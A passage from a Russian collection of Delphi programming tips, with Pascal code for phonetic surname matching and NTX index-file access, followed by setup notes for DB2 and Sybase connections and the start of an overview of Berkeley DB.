          c1 := ' ';
          continue;
        end;
      r := r + c;
    end;

procedure _Cut(var s: ShortString; p: ShortString);
begin

  if Pos(p, s) = length(s) - length(p) + 1 then
    s := Copy(s, 1, length(s) - length(p));
end;

function _PhFace(const ss: ShortString): ShortString;
var r: ShortString;

  i: integer;
  s: ShortString;
begin r := '';
  s := ANSIUpperCase(ss);
  if length(s) < 2 then
    begin
      Result := s;
      exit;
    end;
  _Cut(s, 'ЕВИЧ');
  _Cut(s, 'ОВИЧ');
  _Cut(s, 'ЕВНА');
  _Cut(s, 'ОВНА');
  for i := 1 to length(s) do
    begin
      if length(r) > 12 then break;
      if not (s[i] in ['А'..'Я', 'Ё', 'A'..'Z']) then break;
      if (s[i] = 'Й') and ((i = length(s))
        or (not (s[i + 1] in ['А'..'Я', 'Ё', 'A'..'Z']))) then continue;
{ЕЯ-ИЯ Андриянов}
      if s[i] = 'Е' then
        if (i > length(s)) and (s[i + 1] = 'Я') then s[i] := 'И';
{Ж,З-С Ахметжанов}
      if s[i] in ['Ж', 'З'] then s[i] := 'С';
{АЯ-АЙ Шаяхметов}
      if s[i] = 'Я' then
        if (i > 1) and (s[i - 1] = 'А') then s[i] := 'Й';
{Ы-И Васылович}
      if s[i] in ['Ы', 'Й'] then s[i] := 'И';
{АГЕ-АЕ Зулкагетович, Шагиахметович, Шадиахметович}
      if s[i] in ['Г', 'Д'] then
        if (i > 1) and (i < length(s)) then
          if (s[i - 1] = 'А') and (s[i + 1] in ['Е', 'И']) then continue;
{О-А Арефьев, Родионов}
      if s[i] = 'О' then s[i] := 'А';
{ИЕ-Е Галиев}
      if s[i] = 'И' then
        if (i > length(s)) and (s[i + 1] = 'Е') then continue;
{Ё-Е Ковалёв}
      if s[i] = 'Ё' then s[i] := 'Е';
{Э-И Эльдар}
      if s[i] = 'Э' then s[i] := 'И';
{*ЯЕ-*ЕЕ Черняев}
{(И|С)Я*-(И|С)А* Гатиятуллин}
      if s[i] = 'Я' then
        if (i > 1) and (i < length(s)) then
          begin
            if s[i + 1] = 'Е' then s[i] := 'Е';
            if s[i - 1] in ['И', 'С'] then s[i] := 'А';
          end;
{(А|И|Е|У)Д-(А|И|Е|У)Т Мурад}
      if s[i] = 'Д' then
        if (i > 1) and (s[i - 1] in ['А', 'И', 'Е', 'У']) then s[i] := 'Т';
{Х|К-Г Фархат}
      if s[i] in ['Х', 'К'] then s[i] := 'Г';
      if s[i] in ['Ь', 'Ъ'] then continue;
{БАР-БР Мубракзянов}
      if s[i] = 'А' then
        if (i > 1) and (i > length(s)) then
          if (s[i - 1] = 'Б') and (s[i + 1] = 'Р') then continue;
{ИХО-ИТО Вагихович}
      if s[i] in ['Х', 'Ф', 'П'] then
        if (i > 1) and (i < length(s)) then
          if (s[i - 1] = 'И') and (s[i + 1] = 'О') then s[i] := 'Т';
{Ф-В Рафкат}
      if s[i] = 'Ф' then s[i] := 'В';
{ИВ-АВ Ривкат см. Ф}
      if s[i] = 'И' then
        if (i < length(s)) and (s[i + 1] = 'В') then s[i] := 'А';
{АГЕ-АЕ Зулкагетович, Сагитович, Сабитович}
      if s[i] in ['Г', 'Б'] then
        if (i > 1) and (i < length(s)) then
          if (s[i - 1] = 'А') and (s[i + 1] in ['Е', 'И']) then continue;
{АУТ-АТ Зияутдинович см. ИЯ}
      if s[i] = 'У' then
        if (i > 1) and (i < length(s)) then
          if (s[i - 1] = 'А') and (s[i + 1] = 'Т') then continue;
{АБ-АП Габдельнурович}
      if s[i] = 'Б' then
        if (i > 1) and (s[i - 1] = 'A') then s[i] := 'П';
{ФАИ-ФИ Рафаилович}
      if s[i] = 'А' then
        if (i > 1) and (i < length(s)) then
          if (s[i - 1] = 'Ф') and (s[i + 1] = 'И') then continue;
{ГАБД-АБД}
      if s[i] = 'Г' then
        if (i = 1) and (length(s) > 3) and (s[i + 1] = 'А') and (s[i + 2] = 'Б') and (s[i + 3] = 'Д') then continue;
{РЕН-РИН Ренат}
      if s[i] = 'Е' then
        if (i > 1) and (i < length(s)) then
          if (s[i - 1] = 'Р') and (s[i + 1] = 'Н') then s[i] := 'И';
{ГАФ-ГФ Ягофар}
      if s[i] = 'А' then
        if (i > 1) and (i < length(s)) then
          if (s[i - 1] = 'Г') and (s[i + 1] = 'Ф') then continue;
{??-? Зинатуллин}
      if (i > 1) and (s[i] = s[i - 1]) then continue;
      r := r + s[i];
    end;
  Result := r;
end;

Файл NtxAdd.pas

unit NtxAdd;

interface

uses classes, SysUtils, NtxRO;

type

  TNtxAdd = class(TNtxRO)
  protected
    function Changed: boolean; override;
    function Add(var s: ShortString; var rn: integer; var nxt: integer): boolean;
    procedure NewRoot(s: ShortString; rn: integer; nxt: integer); virtual;
    function GetFreePtr(p: PBuf): Word;
  public
    constructor Create(nm: ShortString; ks: Word);
    constructor Open(nm: ShortString);
    procedure Insert(key: ShortString; rn: integer);
  end;

implementation

function TNtxAdd.GetFreePtr(p: PBuf): Word;
var i, j: integer;

  r: Word;
  fl: boolean;
begin

  r := (max + 2) * 2;
  for i := 1 to max + 1 do
    begin fl := True;
      for j := 1 to GetCount(p) + 1 do
        if GetCount(PBuf(@(p^[j * 2]))) = r then fl := False;
      if fl then
        begin
          Result := r;
          exit;
        end;
      r := r + isz;
    end;
  Result := 0;
end;

function TNtxAdd.Add(var s: ShortString; var rn: integer; var nxt: integer): boolean;
var p: PBuf;

  w, fr: Word;
  i: integer;
  tmp: integer;
begin

  with tr do
    begin
      p := GetPage(h, (TTraceRec(Items[Count - 1])).pg);
      if GetCount(p) then
        begin
          fr := GetFreePtr(p);
          if fr = 0 then
            begin
              Self.Error := True;
              Result := True;
              exit;
            end;
          w := GetCount(p) + 1;
          p^[0] := w and $FF;
          p^[1] := (w and $FF00) shr 8;
          w := (TTraceRec(Items[Count - 1])).cn;
          for i := GetCount(p) + 1 downto w + 1 do
            begin
              p^[2 * i] := p^[2 * i - 2];
              p^[2 * i + 1] := p^[2 * i - 1];
            end;
          p^[2 * w] := fr and $FF;
          p^[2 * w + 1] := (fr and $FF00) shr 8;
          for i := 0 to length(s) - 1 do
            p^[fr + 8 + i] := ord(s[i + 1]);
          for i := 0 to 3 do
            begin
              p^[fr + i] := nxt mod $100;
              nxt := nxt div $100;
            end;
          for i := 0 to 3 do
            begin
              p^[fr + i + 4] := rn mod $100;
              rn := rn div $100;
            end;
          FileSeek(h, (TTraceRec(Items[Count - 1])).pg, 0);
          FileWrite(h, p^, 1024);
          Result := True;
        end
      else
        begin
          fr := GetCount(p) + 1;
          fr := GetCount(PBuf(@(p^[fr * 2])));
          w := (TTraceRec(Items[Count - 1])).cn;
          for i := GetCount(p) + 1 downto w + 1 do
            begin
              p^[2 * i] := p^[2 * i - 2];
              p^[2 * i + 1] := p^[2 * i - 1];
            end;
          p^[2 * w] := fr and $FF;
          p^[2 * w + 1] := (fr and $FF00) shr 8;
          for i := 0 to length(s) - 1 do
            p^[fr + 8 + i] := ord(s[i + 1]);
          for i := 0 to 3 do
            begin
              p^[fr + i + 4] := rn mod $100;
              rn := rn div $100;
            end;
          tmp := 0;
          for i := 3 downto 0 do
            tmp := $100 * tmp + p^[fr + i];
          for i := 0 to 3 do
            begin
              p^[fr + i] := nxt mod $100;
              nxt := nxt div $100;
            end;
          w := hlf;
          p^[0] := w and $FF;
          p^[1] := (w and $FF00) shr 8;
          fr := GetCount(PBuf(@(p^[(hlf + 1) * 2])));
          s := '';
          rn := 0;
          for i := 0 to ksz - 1 do
            begin
              s := s + chr(p^[fr + 8 + i]);
              p^[fr + 8 + i] := 0;
            end;
          for i := 3 downto 0 do
            begin
              rn := $100 * rn + p^[fr + i + 4];
              p^[fr + i + 4] := 0;
            end;
          nxt := FileSeek(h, 0, 2);
          FileWrite(h, p^, 1024);
          for i := 1 to hlf do
            begin
              p^[2 * i] := p^[2 * (i + hlf + 1)];
              p^[2 * i + 1] := p^[2 * (i + hlf + 1) + 1];
            end;
          for i := 0 to 3 do
            begin
              p^[fr + i] := tmp mod $100;
              tmp := tmp div $100;
            end;
          FileSeek(h, (TTraceRec(Items[Count - 1])).pg, 0);
          FileWrite(h, p^, 1024);
          Result := False;
        end;
    end;
end;

procedure TNtxAdd.NewRoot(s: ShortString; rn: integer; nxt: integer);
var p: PBuf;

  i, fr: integer;
begin

  p := GetPage(h, 0);
  for i := 0 to 1023 do
    p^[i] := 0;
  fr := (max + 2) * 2;
  p^[0] := 1;
  p^[2] := fr and $FF;
  p^[3] := (fr and $FF00) shr 8;
  for i := 0 to length(s) - 1 do
    p^[fr + 8 + i] := ord(s[i + 1]);
  for i := 0 to 3 do
    begin
      p^[fr + i] := nxt mod $100;
      nxt := nxt div $100;
    end;
  for i := 0 to 3 do
    begin
      p^[fr + i + 4] := rn mod $100;
      rn := rn div $100;
    end;
  fr := fr + isz;
  p^[4] := fr and $FF;
  p^[5] := (fr and $FF00) shr 8;
  nxt := GetRoot;
  for i := 0 to 3 do
    begin
      p^[fr + i] := nxt mod $100;
      nxt := nxt div $100;
    end;
  nxt := FileSeek(h, 0, 2);
  FileWrite(h, p^, 1024);
  FileSeek(h, 4, 0);
  FileWrite(h, nxt, sizeof(integer));
end;

procedure TNtxAdd.Insert(key: ShortString; rn: integer);
var nxt: integer;

  i: integer;
begin nxt := 0;
  if DosFl then key := WinToDos(key);
  if length(key) > ksz then key := Copy(key, 1, ksz);
  for i := 1 to ksz - length(key) do
    key := key + ' ';
  Clear;
  Load(GetRoot);
  Seek(key, False);
  while True do
    begin
      if Add(key, rn, nxt) then break;
      if tr.Count = 1 then
        begin
          NewRoot(key, rn, nxt);
          break;
        end;
      Pop;
    end;
end;

constructor TNtxAdd.Create(nm: ShortString; ks: Word);
var p: PBuf;

  i: integer;
begin

  Error := False;
  DeleteFile(nm);
  h := FileCreate(nm);
  if h > 0 then
    begin
      p := GetPage(h, 0);
      for i := 0 to 1023 do
        p^[i] := 0;
      p^[14] := ks and $FF;
      p^[15] := (ks and $FF00) shr 8;
      ks := ks + 8;
      p^[12] := ks and $FF;
      p^[13] := (ks and $FF00) shr 8;
      i := (1020 - ks) div (2 + ks);
      i := i div 2;
      p^[20] := i and $FF;
      p^[21] := (i and $FF00) shr 8;
      i := i * 2;
      max := i;
      p^[18] := i and $FF;
      p^[19] := (i and $FF00) shr 8;
      i := 1024;
      p^[4] := i and $FF;
      p^[5] := (i and $FF00) shr 8;
      FileWrite(h, p^, 1024);
      for i := 0 to 1023 do
        p^[i] := 0;
      i := (max + 2) * 2;
      p^[2] := i and $FF;
      p^[3] := (i and $FF00) shr 8;
      FileWrite(h, p^, 1024);
    end
  else
    Error := True;
  FileClose(h);
  FreeHandle(h);
  Open(nm);
end;

constructor TNtxAdd.Open(nm: ShortString);
begin

  Error := False;
  h := FileOpen(nm, fmOpenReadWrite or fmShareExclusive);
  if h > 0 then
    begin
      FileSeek(h, 12, 0);
      FileRead(h, isz, 2);
      FileSeek(h, 14, 0);
      FileRead(h, ksz, 2);
      FileSeek(h, 18, 0);
      FileRead(h, max, 2);
      FileSeek(h, 20, 0);
      FileRead(h, hlf, 2);
      DosFl := True;
      tr := TList.Create;
    end
  else
    Error := True;
end;

function TNtxAdd.Changed: boolean;
begin

  Result := (csize = 0);
  csize := -1;
end;

end.

Файл NtxRO.pas

unit NtxRO;

interface

uses Classes;

type TBuf = array[0..1023] of Byte;

  PBuf = ^TBuf;
  TTraceRec = class
  public
    pg: integer;
    cn: SmallInt;
    constructor Create(p: integer; c: SmallInt);
  end;
  TNtxRO = class
  protected
    fs: string[10];
    empty: integer;
    csize: integer;
    rc: integer; {Текущий номер записи}
    tr: TList; {Стек загруженных страниц}
    h: integer; {Дескриптор файла}
    isz: Word; {Размер элемента}
    ksz: Word; {Размер ключа}
    max: Word; {Максимальное кол-во элементов}
    hlf: Word; {Половина страницы}
    function GetRoot: integer; {Указатель на корень}
    function GetEmpty: integer; {Пустая страница}
    function GetSize: integer; {Возвращает размер файла}
    function GetCount(p: PBuf): Word; {Число элементов на странице}
    function Changed: boolean; virtual;
    procedure Clear;
    function Load(n: integer): PBuf;
    function Pop: PBuf;
    function Seek(const s: ShortString; fl: boolean): boolean;
    function Skip: PBuf;
    function GetItem(p: PBuf): PBuf;
    function GetLink(p: PBuf): integer;
  public
    Error: boolean;
    DosFl: boolean;
    constructor Open(nm: ShortString);
    destructor Destroy; override;
    function Find(const s: ShortString): boolean;
    function GetString(p: PBuf; c: SmallInt): ShortString;
    function GetRecN(p: PBuf): integer;
    function Next: PBuf;
  end;

function GetPage(h, fs: integer): PBuf;
procedure FreeHandle(h: integer);
function DosToWin(const ss: ShortString): ShortString;
function WinToDos(const ss: ShortString): ShortString;

implementation

uses Windows, SysUtils;

const MaxPgs = 5;
var Buf: array[1..1024 * MaxPgs] of char;

  Cache: array[1..MaxPgs] of record
    Handle: integer; {0-страница свободна}
    Offset: integer; {  смещение в файле}
    Countr: integer; {  счетчик использования}
    Length: SmallInt;
  end;

function TNtxRO.Next: PBuf;
var cr: integer;

  p: PBuf;
begin

  if h <= 0 then
    begin
      Result := nil;
      exit;
    end;
  while Changed do
    begin
      cr := rc;
      Find(fs);
      while cr > 0 do
        begin
          p := Skip;
          if GetRecN(p) = cr then break;
        end;
    end;
  Result := Skip;
end;

function TNtxRO.Skip: PBuf;
var cnt: boolean;

  p, r: PBuf;
  n: integer;
begin r := nil;

  cnt := True;
  with tr do
    begin
      p := GetPage(h, (TTraceRec(Items[Count - 1])).pg);
      while cnt do
        begin cnt := False;
          if (TTraceRec(Items[Count - 1])).cn > GetCount(p) + 1 then
            begin
              if Count <= 1 then
                begin
                  Result := nil;
                  exit;
                end;
              p := Pop;
            end
          else
            while True do
              begin
                r := GetItem(p);
                n := GetLink(r);
                if n = 0 then break;
                p := Load(n);
              end;
          if (TTraceRec(Items[Count - 1])).cn >= GetCount(p) + 1 then
            cnt := True
          else
            r := GetItem(p);
          Inc((TTraceRec(Items[Count - 1])).cn);
        end;
    end;
  if r <> nil then
    begin
      rc := GetRecN(r);
      fs := GetString(r, length(fs));
    end;
  Result := r;
end;

function TNtxRO.GetItem(p: PBuf): PBuf;
var r: PBuf;
begin

  with TTraceRec(tr.items[tr.Count - 1]) do
    r := PBuf(@(p^[cn * 2]));
  r := PBuf(@(p^[GetCount(r)]));
  Result := r;
end;

function TNtxRO.GetString(p: PBuf; c: SmallInt): ShortString;
var i: integer;

  r: ShortString;
begin r := '';

  if c = 0 then c := ksz;
  for i := 0 to c - 1 do
    r := r + chr(p^[8 + i]);
  if DosFl then r := DosToWin(r);
  Result := r;
end;

function TNtxRO.GetLink(p: PBuf): integer;
var i, r: integer;
begin r := 0;

  for i := 3 downto 0 do
    r := r * 256 + p^[i];
  Result := r;
end;

function TNtxRO.GetRecN(p: PBuf): integer;
var i, r: integer;
begin r := 0;

  for i := 3 downto 0 do
    r := r * 256 + p^[i + 4];
  Result := r;
end;

function TNtxRO.GetCount(p: PBuf): Word;
begin

  Result := p^[1] * 256 + p^[0];
end;

function TNtxRO.Seek(const s: ShortString; fl: boolean): boolean;
var r: boolean;

  p, q: PBuf;
  nx: integer;
begin r := False;

  with TTraceRec(tr.items[tr.Count - 1]) do
    begin
      p := GetPage(h, pg);
      while cn <= GetCount(p) + 1 do
        begin
          q := GetItem(p);
          if (cn > GetCount(p)) or (s < GetString(q, length(s))) or
            (fl and (s = GetString(q, length(s)))) then
            begin
              nx := GetLink(q);
              if nx <> 0 then
                begin
                  Load(nx);
                  r := Seek(s, fl);
                end;
              Result := r or (s = GetString(q, length(s)));
              exit;
            end;
          Inc(cn);
        end;
    end;
  Result := False;
end;

function TNtxRO.Find(const s: ShortString): boolean;
var r: boolean;
begin

  if h <= 0 then
    begin
      Result := False;
      exit;
    end;
  rc := 0;
  csize := 0;
  r := False;
  while Changed do
    begin
      Clear;
      Load(GetRoot);
      if length(s) > 10 then
        fs := Copy(s, 1, 10)
      else
        fs := s;
      R := Seek(s, True);
    end;
  Result := r;
end;

function TNtxRO.Load(N: integer): PBuf;
var it: TTraceRec;

  r: PBuf;
begin r := nil;

  if h > 0 then
    begin
      with tr do
        begin
          it := TTraceRec.Create(N, 1);
          Add(it);
        end;
      r := GetPage(h, N);
    end;
  Result := r;
end;

procedure TNtxRO.Clear;
var it: TTraceRec;
begin

  while tr.Count > 0 do
    begin
      it := TTraceRec(tr.Items[0]);
      tr.Delete(0);
      it.Free;
    end;
end;

function TNtxRO.Pop: PBuf;
var r: PBuf;

  it: TTraceRec;
begin r := nil;

  with tr do
    if Count > 1 then
      begin
        it := TTraceRec(Items[Count - 1]);
        Delete(Count - 1);
        it.Free;
        it := TTraceRec(Items[Count - 1]);
        r := GetPage(h, it.pg)
      end;
  Result := r;
end;

function TNtxRO.Changed: boolean;
var i: integer;

  r: boolean;
begin r := False;

  if h > 0 then
    begin
      i := GetEmpty;
      if i <> empty then r := True;
      empty := i;
      i := GetSize;
      if i <> csize then r := True;
      csize := i;
    end;
  Result := r;
end;

constructor TNtxRO.Open(nm: ShortString);
begin

  Error := False;
  h := FileOpen(nm, fmOpenRead or fmShareDenyNone);
  if h > 0 then
    begin
      fs := '';
      FileSeek(h, 12, 0);
      FileRead(h, isz, 2);
      FileSeek(h, 14, 0);
      FileRead(h, ksz, 2);
      FileSeek(h, 18, 0);
      FileRead(h, max, 2);
      FileSeek(h, 20, 0);
      FileRead(h, hlf, 2);
      empty := -1;
      csize := -1;
      DosFl := True;
      tr := TList.Create;
    end
  else
    Error := True;
end;

destructor TNtxRO.Destroy;
begin

  if h > 0 then
    begin
      FileClose(h);
      Clear;
      tr.Free;
      FreeHandle(h);
    end;
  inherited Destroy;
end;

function TNtxRO.GetRoot: integer;
var r: integer;
begin r := -1;

  if h > 0 then
    begin
      FileSeek(h, 4, 0);
      FileRead(h, r, 4);
    end;
  Result := r;
end;

function TNtxRO.GetEmpty: integer;
var r: integer;
begin r := -1;

  if h > 0 then
    begin
      FileSeek(h, 8, 0);
      FileRead(h, r, 4);
    end;
  Result := r;
end;

function TNtxRO.GetSize: integer;
var r: integer;
begin r := 0;

  if h > 0 then r := FileSeek(h, 0, 2);
  Result := r;
end;

constructor TTraceRec.Create(p: integer; c: SmallInt);
begin

  pg := p;
  cn := c;
end;

function GetPage(h, fs: integer): PBuf; {Протестировать отдельно}
var i, j, mn: integer;

  q: PBuf;
begin

  mn := 10000;
  j := 0;
  for i := 1 to MaxPgs do
    if (Cache[i].Handle = h) and
      (Cache[i].Offset = fs) then
      begin
        j := i;
        if Cache[i].Countr < 10000 then
          Inc(Cache[i].Countr);
      end;
  if j = 0 then
    begin
      for i := 1 to MaxPgs do
        if Cache[i].Handle = 0 then j := i;
      if j = 0 then
        for i := 1 to MaxPgs do
          if Cache[i].Countr <= mn then
            begin
              mn := Cache[i].Countr;
              j := i;
            end;
      Cache[j].Countr := 0;
      mn := 0;
    end;
  q := PBuf(@(Buf[(j - 1) * 1024 + 1]));
  if mn = 0 then
    begin
      FileSeek(h, fs, 0);
      Cache[j].Length := FileRead(h, q^, 1024);
    end;
  Cache[j].Handle := h;
  Cache[j].Offset := fs;
  Result := q;
end;

procedure FreeHandle(h: integer);
var i: integer;
begin

  for i := 1 to MaxPgs do
    if Cache[i].Handle = h then
      Cache[i].Handle := 0;
end;

function DosToWin(const ss: ShortString): ShortString;
var r: ShortString;

  i: integer;
begin r := '';

  for i := 1 to length(ss) do
    if ss[i] in [chr($80)..chr($9F)] then
      r := r + chr(ord(ss[i]) - $80 + $C0)
    else if ss[i] in [chr($A0)..chr($AF)] then
      r := r + chr(ord(ss[i]) - $A0 + $C0)
    else if ss[i] in [chr($E0)..chr($EF)] then
      r := r + chr(ord(ss[i]) - $E0 + $D0)
    else if ss[i] in [chr($61)..chr($7A)] then
      r := r + chr(ord(ss[i]) - $61 + $41)
    else if ss[i] in [chr($F0)..chr($F1)] then
      r := r + chr($C5)
    else
      r := r + ss[i];
  Result := r;
end;

function WinToDos(const ss: ShortString): ShortString;
var r: ShortString;

  i: integer;
begin r := '';

  for i := 1 to length(ss) do
    if ss[i] in [chr($C0)..chr($DF)] then
      r := r + chr(ord(ss[i]) - $C0 + $80)
    else if ss[i] in [chr($E0)..chr($FF)] then
      r := r + chr(ord(ss[i]) - $E0 + $80)
    else if ss[i] in [chr($F0)..chr($FF)] then
      r := r + chr(ord(ss[i]) - $F0 + $90)
    else if ss[i] in [chr($61)..chr($7A)] then
      r := r + chr(ord(ss[i]) - $61 + $41)
    else if ss[i] in [chr($D5), chr($C5)] then
      r := r + chr($F0)
    else
      r := r + ss[i];
  Result := r;
end;

end.

Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Работа с DB/2

Cодержание раздела:

Почему DB2 ругается на Create Trigger
Как заставить работать DB2 через протокол IPX
Как создать БД в кодировке CP1251


Почему DB2 ругается на Create Trigger

Я тут писал по поводу того, что у меня не pаботали тpиггеpы. Все дело оказалось в пpавиле написания команды "create trigger". Если все остальные команды коppектно воспpинимаются на любом pегистpе, то эта - только набpанная одними большими буквами.

Взято с http://delphiworld.narod.ru


Как заставить работать DB2 через протокол IPX

Связь Win-клиента c DB2 в сети Netware
Hастройка доступа к DB2

1. Связь с использованием протокола IPX/SPX.

Возможны два варианта доступа:

через сервер NETWARE;
прямая адресация.
1.1. Конфигурация для доступа через сервер.
Замечание: Проверялся доступ через сервера NW 3.11 и 3.12. Для 4.х нужно еще разобраться.

1.1.1. DB2 Сервер

должна быть установлена OS/2 Warp или OS/2 Warp Connect;
включена поддержка NETWARE;
в CONFIG.SYS в переменную среды DB2COMM добавить (через запятую) IPXSPX и перезагрузить систему;
создать командный файл DBIPXSET.CMD следующего вида:
|------------------------------------------------------------------
|db2 update dbm cfg using fileserver objectname dbserver
|------------------------------------------------------------------
где - <NWSERVER> - имя сервера;

выполнить командный файл DBIPXSET.CMD;
перестартовать сервер базы данных;
создать командный файл DBIPXREG.CMD следующего вида:
|----------------------------------------------------------------
|db2 register nwbindery user
|----------------------------------------------------------------
где - <USERNAME> - имя пользователя, обладающего правами администратора на сервере <NWSERVER> ;

выполнить командный файл DBIPXREG.CMD;
ответить на запрос пароля.
1.1.2. WINDOWS - клиент
установить WINDOWS 3.1 или WfWG 3.11;
установить клиента NETWARE от версии 4.х;
при установке влючить поддержку WINDOWS;
установить клиента DB2 для WINDOWS;
используя программу Client Setup описать новый узел - сервер базы данных :
Name - <любое имя>
Protocol - IPX/SPX
File server - <NWSERVER>
Object name - dbserver
описать базу данных и разрешить доступ к ней через ODBC.
1.2. Конфигурация для доступа через прямую адресацию
1.2.1. DB2 Сервер

см. п 1.1.1;
найти в директории x:\sqllib\misc программу DB2IPXAD.EXE и выполнить ее;
записать полученный адрес;
1.2.2. WINDOWS - клиент
см. п. 1.1.2. (первые три шага);
используя программу Client Setup описать новый узел - сервер базы данных :
Name - <любое имя>
Protocol - IPX/SPX
File server - *
Object name - <адрес полученный от DB2IPXAD.EXE>
описать базу данных и разрешить доступ к ней через ODBC.

Взято с http://delphiworld.narod.ru


Как создать БД в кодировке CP1251

CREATE DATABASE Efes2
USING CODESET 1251 TERRITORY RU
COLLATE USING IDENTITY;

Взято с http://delphiworld.narod.ru


Работа с SyBase

Cодержание раздела:

32-битное соединение с сервером Sybase


32-битное соединение с сервером Sybase

Данный документ содержит информацию, позволяющую осуществить подключение к базе данных Sybase через 32-битный пакет от фирмы Borland Sybase SQL Links, поставляемый в составе Delphi 2.x. Клиентское программное обеспечение Sybase займет на вашем жестком диске приблизительно 10+ мегабайт свободного пространства.

Шаги для подключения:

Убедитесь в том, что пакет SQL Links установлен на вашем локальном диске. При полной установке Delphi 2.x это должно быть уже установлено в системе.
Инсталируйте клиентское программное обеспечение Sybase.
При появлявлении в процессе установки диалога выбора 16- и 32-разрядной версии Sybase links, выберите только 32-битную версию (отметьте галочкой) и убедитесь в том, что опция 16-битной версии выключена.
После того, как клиентское программное обеспечение будет установлено на вашем жестком диске, у вас попросят разрешение на автоматическую программную коррекцию вашего файла AUTOEXEC.BAT. Выберите YES.
На запрос по поводу редактирования вашего файла SQL.INI ответьте YES.
В секции "Input Server Name:" (введите имя сервера) укажите псевдоним сервера. Щелкните на кнопке 'Add' (добавить) для внесения имени сервера в список "Server Entry:". Затем убедитесь в том, что поля редактирования "Service Type:" (тип сервиса) (должно быть 'query' (запрос)), "Platform:" (платформа) (по умолчанию обычно устанавливается в NT, dos или Win3), и "Net-Library Driver:" (драйвер сетевой библиотеки) (должен быть NLWNSCK или NLNWLINK) содержат верные сведения. Заполните поле редактирования "Connection Information/Network Address:" (адрес информационного/сетевого соединения), введя сетевой адрес сервера, с которым вы хотите иметь соединение. Щелкните на кнопке 'Add Service' (добавить сервис). Вы можете теперь пропинговать ваш сервер, щелкая по кнопке 'Ping'. Сохраните текущие настройки и выйдите из программы.
Завершите работу Windows и перегрузите машину.
В меню пуск выберите программную группу Delphi и запустите Database Explorer.
В Навигаторе баз данных (Database explorer) щелкните на закладке Database. Активизируйте пункт меню Object | New... В диалоговом окне в выпадающем списке должно стоять имя STANDARD. Щелкните на стрелке и выберите из появившегося списка SYBASE.
Теперь там должен быть псевдоним для вашего соединения с Sybase с именем SYBASE1. Убедитесь в том, что это имя выделено. Щелкните в Database Explorer на следующей закладке. В секции "Server Name" (имя сервера) выберите имя одного из серверов, которые вы поместили в ваш SQL.INI, и который пингуется. В секции "User Name" укажите имя пользователя, имеющего права на доступ к определенному в секции "Server Name" серверу. Убедитесь в том, что вы знаете пароль только что назначенного пользователя.
Дважды щелкните на имене псевдонима (SYBASE1) и в появившемся диалоговом окне введите имя пользователя и его пароль. Имя пользователя должно совпадать с именем, определенным в секции "User Name" для псевдонима Sybase. Введите пароль, соответствующий данному пользователю. Нажмите кнопку OK. Теперь около псевдонима Sybase (SYBASE1) вы должны увидеть иконку, обозначающую маленький зеленый ящик. Это означает успешное установление соединения.
Тестирование вашего соединения с помощью Delphi 2.x:
Разместите на пустой форме компоненты TDataSource, TTable и TDBGrid.
В Инспекторе Объектов (Object Inspector) установите для TDataSource свойство DataSet в 'Table1' (без кавычек).
В Инспекторе Объектов установите для TTable имя базы данных в SYBASE1. Переместитесь ниже до свойства TableName, и дважды щелкните на поле редактирования, расположенного около данного свойства. Должно появиться диалоговое окно с требованием ввести имя пользователя и его пароль. При этом должно уже отображаться имя пользователя, которое вы определили в Database Explorer для псевдонима Sybase. Введите соответствующий пароль. Нажмите на кнопку OK.
Теперь вы должны увидеть спискок, состоящий из имен таблиц. Выберите одно.
Щелкните на TDBGrid. Присвойте его свойству DataSource значение DataSource1.
Установите свойство Active компонента TTable в TRUE.
Теперь вы можете увидеть данные в TDBGrid. После запуска приложения должно появиться диалоговое окно с требованием ввести имя пользователя и его пароль. Введите пароль и нажмите OK. Теперь вы должны увидеть данные в табличной сетке.

Сообщения об ошибках:
Ошибка, связанная с невозможностью нахождения сетевой библиотеки: Данная ошибка означает, что программе не удалось найти нужную ей .DLL. Следующие файлы должны распологаться в вашем каталоге \Sybase\DLL:

Libblk.dll
Libcomn.dll
Libcs.dll
Libct.dll
Libintl.dll
Libsrv.dll
Libsybdb.dll
Libtcl.dll
Mscvrt10.dll
Nldecnet.dll
Nlmsnmp.dll
Nlnwadvt.exe
Nlnwlink.dll
Nlwnsck.dll

Предостережение: Данный документ не гарантирует установление соединения с сервером, он демонстрирует самый лучший и быстрый способ сделать это.

Взято с http://delphiworld.narod.ru


Другие базы данных

Cодержание раздела:

Berkeley DB
ObjectHaven
Advantage Database Server


Berkeley DB

Berkeley DB — это встроенная система баз данных с открытым кодом, имеющая ряд преимуществ перед другими подобными программными продуктами. Она проста в обращении, поддерживает возможность одновременного доступа нескольких пользователей, реализует поддержку транзакций на промышленном уровне и восстановление баз данных после системных и дисковых сбоев. В статье описывается архитектура и технические особенности Berkeley DB, схема ее распространения и лицензирования.

Введение

Berkeley Database (Berkeley DB) – встроенная система баз данных, которую можно использовать в приложениях, нуждающихся в высокопроизводительном механизме хранения и извлечения пар ключ-значение, поддерживающем одновременный доступ. Программный продукт распространяется в виде библиотеки, которая может быть подключена к коду приложения. Функции библиотеки доступны через ряд API-интерфейсов, в том числе для языков Си, C++, Java, Perl, Python и Tcl. Загрузить Berkeley DB можно с Web-сайта Sleepycat Software по адресу www.sleepycat.com.

Sleepycat распространяет Berkeley DB, как программный продукт с открытым кодом. Компания предусматривает лицензионные отчисления за определенные виды использования ПО, а также взимает плату за поддержку и услуги.

История

Berkeley DB зародилась, как новая реализация метода доступа hash, созданного взамен hsearch и различных вариантов dbm (а именно, dbm корпорации AT&T, ndbm от Berkeley и gdbm, разрабатывавшегося в рамках проекта GNU). Продукт был разработан и выпущен под названием Hash в 1990 году программистами Зельцер и Йигит [8].

В первой крупной редакции Berkeley DB, вышедшей в 1991 году, были внесены некоторые изменения в пользовательский интерфейс и добавлен новый метод доступа, B+tree. Примерно в то же время Зельтцер и Олсон разработали прототип транзакционной системы на основе Berkeley DB под названием LIBTP [9], код которой не публиковался.

В 1992 году Berkeley DB 1.85 была включена в состав операционной системы 4.4BSD UNIX. В начале 90-х Зельцер и Бостик сопровождали код в Беркли и Массачусетсе. В то время он получил широкое распространение среди пользователей.

К середине 1996 года появились пользователи, нуждающиеся в коммерческой поддержке продукта. Учтя их пожелания, Бостик и Зельтцер образовали компанию Sleepycat Software. Она совершенствует, распространяет и поддерживает Berkeley DB, а также сопутствующее программное обеспечение и документацию. В середине 1997 года Sleepycat выпустила Berkeley DB 2.1, содержащую ряд важных новшеств, в том числе возможность многопользовательского доступа к базам данных. Компания выпускает около трех коммерческих версий продукта в год. Последняя выпущенная ею версия Berkeley DB имеет номер 3.1.

Краткий обзор Berkeley DB

